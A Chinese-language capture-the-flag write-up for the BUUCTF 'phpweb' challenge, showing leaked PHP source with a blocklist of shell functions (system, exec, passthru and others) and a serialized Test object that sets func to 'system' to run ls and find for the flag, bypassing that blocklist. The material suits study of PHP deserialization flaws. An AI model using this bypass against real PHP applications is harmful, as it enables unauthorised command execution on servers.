buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站，吓我一跳

2.查看源代码，主要看到timezone，然后这个页面是五秒就会刷新一次

一开始去搜了这个，但是没什么用

3.使用bp抓包

会发现有两个参数，应该是用func来执行p

4.修改func和p

file_get_contents：把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。

读取index.php

5.使用post传参，查看页面源代码

审计

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    //定义disable_fun这个数组，禁用了这些函数
    
function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }   //定义了一个名为gettime的函数，它接受一个函数名func和参数p，并通过call_user_func函数来调用指定的函数。a 获取变量的类型，如果a是字符串，则将其返回，否则返回空字符串。
//gettype() 函数用于获取变量的类型
    
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            } //定义了一个名为Test的类，其中包含了一个变量$p表示日期格式，以及一个变量$func表示要执行的函数名。在类的析构函数__destruct中，首先检查$func是否为空。如果不为空，则调用gettime函数来执行指定的函数，并将结果输出。
//__destruct() 魔术方法 对象被销毁时触发
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];  //从$_REQUEST超全局变量中获取传入的函数名和参数

    if ($func != null) {
        $func = strtolower($func);  //如果传入的函数名不为空，则将其转换为小写
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }  //检查其是否在$disable_fun数组中。如果函数名不在禁用列表中，则调用gettime函数来执行指定的函数，并将结果输出。否则，代码将输出"Hacker..."并终止程序。
    }
    ?>

https://www.cnblogs.com/fps2tao/p/7865423.html call_user_func函数详解

6.使用反序列化

先看一下有什么文件

<?php
class Test
{
    var $p = "ls";
    var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

查看源代码，没有看到什么

查找含有flag的文件

find / -name flag*

cat 这个文件

buuctf-[网鼎杯 2020 朱雀组]phpweb

猜你喜欢